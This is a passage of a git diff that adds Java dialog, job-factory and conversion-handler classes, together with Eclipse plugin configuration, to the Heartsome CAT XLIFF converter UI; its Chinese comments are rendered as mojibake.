net.heartsome.cat.convert.ui.dialog; + +import java.io.File; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; + +import net.heartsome.cat.convert.ui.model.DefaultConversionItem; +import net.heartsome.cat.convert.ui.model.IConversionItem; + +import org.eclipse.core.runtime.Path; +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.dialogs.TitleAreaDialog; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.layout.LayoutConstants; +import org.eclipse.rwt.widgets.Upload; +import org.eclipse.rwt.widgets.UploadAdapter; +import org.eclipse.rwt.widgets.UploadEvent; +import org.eclipse.rwt.widgets.UploadItem; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Shell; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 文件上传对è¯æ¡† + * @author cheney + */ +class FileUploadConversionItemDialog implements IConversionItemDialog { + + private static final Logger LOGGER = LoggerFactory.getLogger(FileUploadConversionItemDialog.class); + + private FileUploadDialog dialog; + private IConversionItem conversionItem; + + /** + * 构建函数 + * @param shell + */ + public FileUploadConversionItemDialog(Shell shell) { + dialog = new FileUploadDialog(shell); + } + + @Override + public int open() { + int result = dialog.open(); + UploadItem uploadItem = null; + if (result == IDialogConstants.OK_ID) { + uploadItem = dialog.getLastUploadItem(); + if (uploadItem != null) { + InputStream is = uploadItem.getFileInputStream(); + // 把文件æµå†™åˆ°ä¸´æ—¶ç›®å½•ä¸­ + if (is != null) { + File file = null; + OutputStream os = null; + try { + file = File.createTempFile("conversion", "co"); + os = new FileOutputStream(file); + byte[] buffer = new byte[2048]; + int length = -1; + while ((length = is.read(buffer)) != -1) { + os.write(buffer, 0, length); + } + os.flush(); + } catch (FileNotFoundException e) { + if (LOGGER.isErrorEnabled()) { + LOGGER.error("文件ä¸å­˜åœ¨ã€‚", e); + } + } catch (IOException e) { + if (LOGGER.isErrorEnabled()) { + LOGGER.error("æ“作文件失败。", e); + } + } finally { + + try { + if (os != null) { + os.close(); + } + if (is != null) { + is.close(); + } + } catch (IOException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + + } + conversionItem = new DefaultConversionItem(new Path(file.getAbsolutePath())); + return IDialogConstants.OK_ID; + } + } + } + return IDialogConstants.CANCEL_ID; + } + + @Override + public IConversionItem getConversionItem() { + if (conversionItem == null) { + conversionItem = DefaultConversionItem.EMPTY_CONVERSION_ITEM; + } + return conversionItem; + } + + /** + * 文件上传对è¯æ¡†çš„具体实现 + * @author cheney + * @since JDK1.6 + */ + private static class FileUploadDialog extends TitleAreaDialog { + + private Upload upload; + // 最åŽä¸Šä¼ æˆåŠŸçš„ upload item + private UploadItem lastUploadItem; + private Shell shell; + + /** + * 构造函数 + * @param parentShell + */ + public FileUploadDialog(Shell parentShell) { + super(parentShell); + setTitle("上传文件"); + // setMessage("请选择需è¦ä¸Šä¼ çš„文件"); + } + + @Override + protected Control createDialogArea(Composite parent) { + shell = parent.getShell(); + + Composite parentComposite = (Composite) super.createDialogArea(parent); + + Composite contents = new Composite(parentComposite, SWT.NONE); + GridLayout layout = new GridLayout(); + contents.setLayout(layout); + GridData gridData = new GridData(); + gridData.horizontalAlignment = SWT.FILL; + gridData.grabExcessHorizontalSpace = true; + contents.setLayoutData(gridData); + + Composite uploadComposite = new Composite(contents, SWT.NONE); + uploadComposite.setLayout(new GridLayout()); + + gridData = new GridData(); + gridData.horizontalAlignment = SWT.FILL; + gridData.grabExcessHorizontalSpace = true; + uploadComposite.setLayoutData(gridData); + + upload = new Upload(uploadComposite, SWT.BORDER, Upload.SHOW_UPLOAD_BUTTON | Upload.SHOW_PROGRESS); + gridData = new GridData(); + gridData.horizontalAlignment = SWT.FILL; + gridData.grabExcessHorizontalSpace = true; + upload.setLayoutData(gridData); + + upload.addUploadListener(new UploadAdapter() { + @Override + public void uploadFinished(UploadEvent uploadEvent) { + if (uploadEvent.isFinished()) { + MessageDialog.openInformation(shell, "上传æˆåŠŸ", "文件上传æˆåŠŸ"); + // ç¡®ä¿å…³é—­ä¹‹å‰çš„文件 IO + if (lastUploadItem != null) { + InputStream is = lastUploadItem.getFileInputStream(); + if (is != null) { + try { + is.close(); + } catch (IOException e) { + // ignore the exception + if (LOGGER.isErrorEnabled()) { + LOGGER.error("关闭上传的文件æµå¤±è´¥ã€‚", e); + } + } + } + } + lastUploadItem = upload.getUploadItem(); + } + } + }); + + Dialog.applyDialogFont(parentComposite); + + Point defaultMargins = LayoutConstants.getMargins(); + GridLayoutFactory.fillDefaults().numColumns(2).margins(defaultMargins.x, defaultMargins.y).generateLayout( + contents); + + return contents; + } + + /** + * 获得最åŽä¸€æ¬¡ä¸Šä¼ çš„ upload item + * @return + */ + public UploadItem getLastUploadItem() { + return lastUploadItem; + } + + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.ui.rap/src/net/heartsome/cat/convert/ui/job/JobFactoryFacadeImpl.java b/hsconverter/net.heartsome.cat.converter.ui.rap/src/net/heartsome/cat/convert/ui/job/JobFactoryFacadeImpl.java new file mode 100644 index 0000000..138e074 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.rap/src/net/heartsome/cat/convert/ui/job/JobFactoryFacadeImpl.java @@ -0,0 +1,36 @@ +package net.heartsome.cat.convert.ui.job; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.jobs.Job; +import org.eclipse.rwt.lifecycle.UICallBack; +import org.eclipse.swt.widgets.Display; + +/** + * 创建执行文件转æ¢çš„ job + * @author cheney + */ +public class JobFactoryFacadeImpl extends JobFactoryFacade { + + @Override + protected Job createJobInternal(final Display display, final String name, final JobRunnable runnable) { + Job job = new Job(name) { + final IStatus[] result = new IStatus[1]; + + @Override + protected IStatus run(final IProgressMonitor monitor) { + // å…许åŽå°çº¿ç¨‹è®¿é—® session çº§åˆ«çš„ç”¨æˆ·æ•°æ® + UICallBack.runNonUIThreadWithFakeContext(display, new Runnable() { + + @Override + public void run() { + result[0] = runnable.run(monitor); + } + }); + return result[0]; + } + }; + return job; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.ui.rcp/.classpath b/hsconverter/net.heartsome.cat.converter.ui.rcp/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.rcp/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.ui.rcp/.project b/hsconverter/net.heartsome.cat.converter.ui.rcp/.project new file mode 100644 index 0000000..3747d6a --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.rcp/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.converter.ui.rcp + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/hsconverter/net.heartsome.cat.converter.ui.rcp/.settings/org.eclipse.jdt.core.prefs b/hsconverter/net.heartsome.cat.converter.ui.rcp/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..b5e3fdc --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.rcp/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Tue Jun 15 10:16:53 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/hsconverter/net.heartsome.cat.converter.ui.rcp/META-INF/MANIFEST.MF b/hsconverter/net.heartsome.cat.converter.ui.rcp/META-INF/MANIFEST.MF new file mode 100644 index 0000000..83896d2 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.rcp/META-INF/MANIFEST.MF @@ -0,0 +1,14 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Converter UI RCP +Bundle-SymbolicName: net.heartsome.cat.converter.ui.rcp;singleton:=true +Bundle-Version: 8.0.2.R8b_v20130401 +Bundle-Vendor: Heartsome Technologies Ltd. +Fragment-Host: net.heartsome.cat.converter.ui;bundle-version="1.0.0" +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Require-Bundle: org.eclipse.core.resources;bundle-version="3.5.0" +Import-Package: net.heartsome.cat.common.util, + net.heartsome.cat.ts.core.file, + org.eclipse.core.filesystem, + org.eclipse.ui.internal.ide.dialogs +Bundle-Localization: plugin diff --git a/hsconverter/net.heartsome.cat.converter.ui.rcp/build.properties b/hsconverter/net.heartsome.cat.converter.ui.rcp/build.properties new file mode 100644 index 0000000..283f0c5 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.rcp/build.properties @@ -0,0 +1,9 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + fragment.xml,\ + plugin.properties,\ + plugin_en.properties,\ + plugin_zh.properties diff --git a/hsconverter/net.heartsome.cat.converter.ui.rcp/fragment.xml b/hsconverter/net.heartsome.cat.converter.ui.rcp/fragment.xml new file mode 100644 index 0000000..bcfeaae --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.rcp/fragment.xml @@ -0,0 +1,91 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.ui.rcp/plugin.properties b/hsconverter/net.heartsome.cat.converter.ui.rcp/plugin.properties new file mode 100644 index 0000000..d9c1445 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.rcp/plugin.properties @@ -0,0 +1,2 @@ +menu.file.xliffConverter = \u8f6c\u6362\u4e3a XLIFF \u6587\u4ef6... +menu.file.xliffReverseConverter = \u8f6c\u6362\u4e3a\u76ee\u6807\u6587\u4ef6... \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.ui.rcp/plugin_en.properties b/hsconverter/net.heartsome.cat.converter.ui.rcp/plugin_en.properties new file mode 100644 index 0000000..8601c63 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.rcp/plugin_en.properties @@ -0,0 +1,2 @@ +menu.file.xliffConverter = Convert to XLIFF Files... +menu.file.xliffReverseConverter = Convert to Target Files... diff --git a/hsconverter/net.heartsome.cat.converter.ui.rcp/plugin_zh.properties b/hsconverter/net.heartsome.cat.converter.ui.rcp/plugin_zh.properties new file mode 100644 index 0000000..d9c1445 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.rcp/plugin_zh.properties @@ -0,0 +1,2 @@ +menu.file.xliffConverter = \u8f6c\u6362\u4e3a XLIFF \u6587\u4ef6... +menu.file.xliffReverseConverter = \u8f6c\u6362\u4e3a\u76ee\u6807\u6587\u4ef6... \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/convert/ui/dialog/FileConversionItemDialog.java b/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/convert/ui/dialog/FileConversionItemDialog.java new file mode 100644 index 0000000..5bd6c8f --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/convert/ui/dialog/FileConversionItemDialog.java @@ -0,0 +1,59 @@ +package net.heartsome.cat.convert.ui.dialog; + +import java.io.File; + +import net.heartsome.cat.convert.ui.model.ConverterContext; +import net.heartsome.cat.convert.ui.model.DefaultConversionItem; +import net.heartsome.cat.convert.ui.model.IConversionItem; +import net.heartsome.cat.converter.ui.rcp.resource.Messages; + +import org.eclipse.core.runtime.Path; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Shell; + +/** + * 从文件对è¯æ¡†ä¸­é€‰æ‹©æ‰€éœ€è¦çš„转æ¢é¡¹ç›® + * @author cheney + * @since JDK1.6 + */ +public class FileConversionItemDialog implements IConversionItemDialog { + private FileDialog fileDialog; + private IConversionItem conversionItem; + + /** + * 转æ¢é¡¹ç›®é€‰æ‹©å¯¹è¯æ¡†æž„造函数 + * @param shell + */ + public FileConversionItemDialog(Shell shell) { + fileDialog = new FileDialog(shell); + } + + public int open() { + File folder = new File(ConverterContext.srxFolder); + fileDialog.setFilterPath(folder.getAbsolutePath()); + String[] extensions = { "*.srx" }; //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + String[] names = { + Messages.getString("dialog.FileConversionItemDialog.filterName1"), Messages.getString("dialog.FileConversionItemDialog.filterName2"), net.heartsome.cat.converter.ui.rcp.resource.Messages.getString("dialog.FileConversionItemDialog.filterName3") }; //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + fileDialog.setFilterNames(names); + fileDialog.setFilterExtensions(extensions); + String name = fileDialog.open(); + if (name != null) { + File f = new File(name); + if (f.exists() && f.getParent().equals(folder.getAbsolutePath())) { + name = ConverterContext.srxFolder + System.getProperty("file.separator") + f.getName(); //$NON-NLS-1$ + } + conversionItem = new DefaultConversionItem(new Path(name)); + return IDialogConstants.OK_ID; + } + return IDialogConstants.CANCEL_ID; + } + + public IConversionItem getConversionItem() { + if (conversionItem == null) { + conversionItem = DefaultConversionItem.EMPTY_CONVERSION_ITEM; + } + return conversionItem; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/convert/ui/dialog/FileDialogFactoryFacadeImpl.java b/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/convert/ui/dialog/FileDialogFactoryFacadeImpl.java new file mode 100644 index 0000000..4e9ae3a --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/convert/ui/dialog/FileDialogFactoryFacadeImpl.java @@ -0,0 +1,21 @@ +package net.heartsome.cat.convert.ui.dialog; + +import org.eclipse.swt.widgets.Shell; + +/** + * 文件对è¯æ¡†å·¥åŽ‚é—¨é¢çš„具体实现 + * @author cheney + * @since JDK1.6 + */ +public class FileDialogFactoryFacadeImpl extends FileDialogFactoryFacade { + + @Override + protected IConversionItemDialog createFileDialogInternal(Shell shell, int styled) { + return new FileConversionItemDialog(shell); + } + + @Override + protected IConversionItemDialog createWorkspaceDialogInternal(Shell shell, int styled) { + return new WorkspaceConversionItemDialog(shell); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/convert/ui/dialog/WorkspaceConversionItemDialog.java b/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/convert/ui/dialog/WorkspaceConversionItemDialog.java new file mode 100644 index 0000000..3f9e3ca --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/convert/ui/dialog/WorkspaceConversionItemDialog.java @@ -0,0 +1,50 @@ +package net.heartsome.cat.convert.ui.dialog; + +import net.heartsome.cat.convert.ui.model.DefaultConversionItem; +import net.heartsome.cat.convert.ui.model.FileConversionItem; +import net.heartsome.cat.convert.ui.model.IConversionItem; + +import org.eclipse.core.resources.IFile; +import org.eclipse.core.runtime.Path; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.swt.widgets.Shell; + +/** + * 工作空间中的转æ¢é¡¹ç›®é€‰æ‹©å¯¹è¯æ¡† + * @author cheney + * @since JDK1.6 + */ +public class WorkspaceConversionItemDialog implements IConversionItemDialog { + + private WorkspaceDialog worksapceDialog; + private IConversionItem conversionItem; + + /** + * 构造函数 + * @param shell + */ + public WorkspaceConversionItemDialog(Shell shell) { + worksapceDialog = new WorkspaceDialog(shell); + } + + public int open() { + int result = worksapceDialog.open(); + IFile file = null; + if (result == IDialogConstants.OK_ID) { + file = worksapceDialog.getSelectedFile(); + if (file != null) { + conversionItem = new FileConversionItem(file); + } + return IDialogConstants.OK_ID; + } + return IDialogConstants.CANCEL_ID; + } + + public IConversionItem getConversionItem() { + if (conversionItem == null) { + conversionItem = new DefaultConversionItem(Path.EMPTY); + } + return conversionItem; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/convert/ui/dialog/WorkspaceDialog.java b/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/convert/ui/dialog/WorkspaceDialog.java new file mode 100644 index 0000000..3093008 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/convert/ui/dialog/WorkspaceDialog.java @@ -0,0 +1,241 @@ +package net.heartsome.cat.convert.ui.dialog; + +import java.util.ArrayList; + +import net.heartsome.cat.converter.ui.rcp.resource.Messages; + +import org.eclipse.core.resources.IContainer; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.resources.IWorkspace; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.Path; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.TitleAreaDialog; +import org.eclipse.jface.viewers.DoubleClickEvent; +import org.eclipse.jface.viewers.IDoubleClickListener; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.jface.viewers.TreeViewer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.ModifyEvent; +import org.eclipse.swt.events.ModifyListener; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; +import org.eclipse.ui.model.BaseWorkbenchContentProvider; +import org.eclipse.ui.model.WorkbenchLabelProvider; + +/** + * 工作空间中的文件选择对è¯æ¡† + * @author cheney + * @since JDK1.6 + */ +public class WorkspaceDialog extends TitleAreaDialog { + private IFile workspaceFile; + private TreeViewer wsTreeViewer; + private Text wsFilenameText; + private IContainer wsContainer; + + private Button okButton; + + /** + * 构建函数 + * @param shell + */ + public WorkspaceDialog(Shell shell) { + super(shell); + } + + @Override + protected Control createContents(Composite parent) { + Control control = super.createContents(parent); + setTitle(Messages.getString("dialog.WorkspaceDialog.title")); + setMessage(Messages.getString("dialog.WorkspaceDialog.msg")); + + return control; + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite composite = (Composite) super.createDialogArea(parent); + + GridLayout layout = new GridLayout(); + layout.numColumns = 1; + composite.setLayout(layout); + final GridData data = new GridData(SWT.FILL, SWT.FILL, true, false); + composite.setLayoutData(data); + + getShell().setText(Messages.getString("dialog.WorkspaceDialog.shell")); + + wsTreeViewer = new TreeViewer(composite, SWT.BORDER); + final GridData gd = new GridData(SWT.FILL, SWT.FILL, true, true); + gd.widthHint = 550; + gd.heightHint = 250; + wsTreeViewer.getTree().setLayoutData(gd); + + wsTreeViewer.setContentProvider(new LocationPageContentProvider()); + wsTreeViewer.setLabelProvider(new WorkbenchLabelProvider()); + wsTreeViewer.setInput(ResourcesPlugin.getWorkspace()); + + final Composite group = new Composite(composite, SWT.NONE); + layout = new GridLayout(2, false); + layout.marginWidth = 0; + group.setLayout(layout); + group.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, false)); + + final Label label = new Label(group, SWT.NONE); + label.setLayoutData(new GridData()); + label.setText(Messages.getString("dialog.WorkspaceDialog.label")); + + wsFilenameText = new Text(group, SWT.BORDER); + wsFilenameText.setLayoutData(new GridData(SWT.FILL, SWT.TOP, true, false)); + + setupListeners(); + + return parent; + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + super.createButtonsForButtonBar(parent); + okButton = getButton(IDialogConstants.OK_ID); + // disable first + okButton.setEnabled(false); + } + + @Override + protected void okPressed() { + if (wsContainer == null) { + getSelectedContainer(); + } + + workspaceFile = wsContainer.getFile(new Path(wsFilenameText.getText())); + super.okPressed(); + } + + /** + * 获得当å‰é€‰æ‹©çš„ container ; + */ + private void getSelectedContainer() { + Object obj = ((IStructuredSelection) wsTreeViewer.getSelection()).getFirstElement(); + + if (obj instanceof IContainer) { + wsContainer = (IContainer) obj; + } else if (obj instanceof IFile) { + wsContainer = ((IFile) obj).getParent(); + } + } + + @Override + protected void cancelPressed() { + // this.page.validatePage(); + getSelectedContainer(); + super.cancelPressed(); + } + + @Override + public boolean close() { + return super.close(); + } + + /** + * æ³¨å†Œç›‘å¬ ; + */ + void setupListeners() { + wsTreeViewer.addSelectionChangedListener(new ISelectionChangedListener() { + public void selectionChanged(SelectionChangedEvent event) { + IStructuredSelection s = (IStructuredSelection) event.getSelection(); + Object obj = s.getFirstElement(); + if (obj instanceof IContainer) { + wsContainer = (IContainer) obj; + } else if (obj instanceof IFile) { + IFile tempFile = (IFile) obj; + wsContainer = tempFile.getParent(); + wsFilenameText.setText(tempFile.getName()); + } + } + }); + + wsTreeViewer.addDoubleClickListener(new IDoubleClickListener() { + public void doubleClick(DoubleClickEvent event) { + ISelection s = event.getSelection(); + if (s instanceof IStructuredSelection) { + Object item = ((IStructuredSelection) s).getFirstElement(); + if (wsTreeViewer.getExpandedState(item)) { + wsTreeViewer.collapseToLevel(item, 1); + } else { + wsTreeViewer.expandToLevel(item, 1); + } + } + } + }); + + wsFilenameText.addModifyListener(new ModifyListener() { + public void modifyText(ModifyEvent e) { + String patchName = wsFilenameText.getText(); + if (patchName.trim().equals("")) { //$NON-NLS-1$ + okButton.setEnabled(false); + setErrorMessage(Messages.getString("dialog.WorkspaceDialog.msg1")); + } else if (!(ResourcesPlugin.getWorkspace().validateName(patchName, IResource.FILE)).isOK()) { + // make sure that the filename does not contain more than one segment + okButton.setEnabled(false); + setErrorMessage(Messages.getString("dialog.WorkspaceDialog.msg2")); + } else { + okButton.setEnabled(true); + setErrorMessage(null); + } + } + }); + } + + /** + * 返回当å‰æ‰€é€‰æ‹©çš„ IFile + * @return ; + */ + public IFile getSelectedFile() { + return workspaceFile; + } +} + +/** + * 显示工作空间中项目列表内容æ供者 + * @author cheney + * @since JDK1.6 + */ +class LocationPageContentProvider extends BaseWorkbenchContentProvider { + /** + * Never show closed projects + */ + boolean showClosedProjects = false; + + @Override + public Object[] getChildren(Object element) { + if (element instanceof IWorkspace) { + // check if closed projects should be shown + IProject[] allProjects = ((IWorkspace) element).getRoot().getProjects(); + if (showClosedProjects) { + return allProjects; + } + + ArrayList accessibleProjects = new ArrayList(); + for (int i = 0; i < allProjects.length; i++) { + if (allProjects[i].isOpen()) { + accessibleProjects.add(allProjects[i]); + } + } + return accessibleProjects.toArray(); + } + + return super.getChildren(element); + } + +} \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/convert/ui/handler/ConversionHandler.java b/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/convert/ui/handler/ConversionHandler.java new file mode 100644 index 0000000..3a19d6e --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/convert/ui/handler/ConversionHandler.java @@ -0,0 +1,87 @@ +package net.heartsome.cat.convert.ui.handler; + +import java.util.Arrays; + +import net.heartsome.cat.common.ui.wizard.TSWizardDialog; +import net.heartsome.cat.convert.ui.Activator; +import net.heartsome.cat.convert.ui.model.ConverterViewModel; +import net.heartsome.cat.convert.ui.model.IConversionItem; +import net.heartsome.cat.convert.ui.wizard.ConversionWizard; +import net.heartsome.cat.convert.ui.wizard.ConversionWizardDialog; +import net.heartsome.cat.convert.ui.wizard.ReverseConversionWizard; +import net.heartsome.cat.converter.Converter; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.runtime.Platform; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.wizard.IWizard; +import org.eclipse.jface.wizard.WizardDialog; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * Our sample handler extends AbstractHandler, an IHandler base class. + * @see org.eclipse.core.commands.IHandler + * @see org.eclipse.core.commands.AbstractHandler + */ +public class ConversionHandler extends AbstractHandler { + + // private final static Logger logger = LoggerFactory.getLogger(ConversionHandler.class.getName()); + + /** + * The constructor. + */ + public ConversionHandler() { + } + + /** + * the command has been executed, so extract extract the needed information from the application context. + */ + public Object execute(ExecutionEvent event) throws ExecutionException { + String commandId = event.getCommand().getId(); + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindowChecked(event); + ISelection currentSelection = HandlerUtil.getCurrentSelection(event); + if (currentSelection.isEmpty()) { + return null; + } + if (currentSelection instanceof IStructuredSelection) { + IStructuredSelection structuredSelection = (IStructuredSelection) currentSelection; + + Object object = structuredSelection.getFirstElement(); + // 通过 adapter manager 获得 conversion item + Object adapter = Platform.getAdapterManager().getAdapter(object, IConversionItem.class); + if (adapter instanceof IConversionItem) { + // open the config conversion dialog + ConverterViewModel converterViewModel = null; + IConversionItem sourceItem = (IConversionItem) adapter; + if (commandId.equals("net.heartsome.cat.convert.ui.commands.convertCommand")) { + converterViewModel = new ConverterViewModel(Activator.getContext(), Converter.DIRECTION_POSITIVE); + // è®°ä½æ‰€é€‰æ‹©çš„文件 + converterViewModel.setConversionItem(sourceItem); + + IWizard wizard = new ConversionWizard(Arrays.asList(converterViewModel), null); + TSWizardDialog dialog = new ConversionWizardDialog(window.getShell(), wizard); + int result = dialog.open(); + if (result == IDialogConstants.OK_ID) { + converterViewModel.convert(); + } + } else { + converterViewModel = new ConverterViewModel(Activator.getContext(), Converter.DIRECTION_REVERSE); + converterViewModel.setConversionItem(sourceItem); + + IWizard wizard = new ReverseConversionWizard(Arrays.asList(converterViewModel), null); + TSWizardDialog dialog = new ConversionWizardDialog(window.getShell(), wizard); + int result = dialog.open(); + if (result == IDialogConstants.OK_ID) { + converterViewModel.convert(); + } + } + } + } + return null; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/convert/ui/job/JobFactoryFacadeImpl.java b/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/convert/ui/job/JobFactoryFacadeImpl.java new file mode 100644 index 0000000..e912bde --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/convert/ui/job/JobFactoryFacadeImpl.java @@ -0,0 +1,60 @@ +package net.heartsome.cat.convert.ui.job; + +import org.eclipse.core.resources.WorkspaceJob; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.jobs.Job; +import org.eclipse.swt.widgets.Display; +import org.eclipse.ui.progress.IProgressConstants; + +/** + * 对 Workspace 中的资æºè¿›è¡Œæ“作时,考虑到的并å‘æ“作,需è¦æŠŠè¿™äº›æ“作放在 WorkspaceJob 中执行,所以此 factory facade 返回的是 WorkspaceJob。 + * @author cheney + * @since JDK1.6 + */ +public class JobFactoryFacadeImpl extends JobFactoryFacade { + + @Override + protected Job createJobInternal(final Display display, final String name, final JobRunnable runnable) { + return new WorkspaceJob(name) { + IStatus result; + + @Override + public IStatus runInWorkspace(IProgressMonitor monitor) throws CoreException { + result = runnable.run(monitor); + if (isModal(this)) { + // 直接显示结果 + if (display != null && !display.isDisposed()) { + display.asyncExec(new Runnable() { + public void run() { + runnable.showResults(result); + } + }); + } + } else { + // 在进度显示视图中显示查看 runnable è¿è¡Œç»“果的 action。 + setProperty(IProgressConstants.KEEP_PROPERTY, Boolean.TRUE); + setProperty(IProgressConstants.ACTION_PROPERTY, runnable.getRunnableCompletedAction(result)); + + } + return result; + } + + /** + * 判断 job 对应的进度显示对è¯æ¡†çš„状æ€ã€‚如果是打开状æ€åˆ™è¿”回 true,å¦åˆ™è¿”回 false。 + * @param job + * åŽå°çº¿ç¨‹ job + * @return 返回 job 对应的进度显示对è¯æ¡†çš„状æ€; + */ + private boolean isModal(Job job) { + Boolean isModal = (Boolean) job.getProperty(IProgressConstants.PROPERTY_IN_DIALOG); + if (isModal == null) { + return false; + } + return isModal.booleanValue(); + } + }; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/convert/ui/model/FileConversionItem.java b/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/convert/ui/model/FileConversionItem.java new file mode 100644 index 0000000..e2defc5 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/convert/ui/model/FileConversionItem.java @@ -0,0 +1,90 @@ +package net.heartsome.cat.convert.ui.model; + +import org.eclipse.core.resources.IContainer; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.jobs.ISchedulingRule; + +/** + * IFile 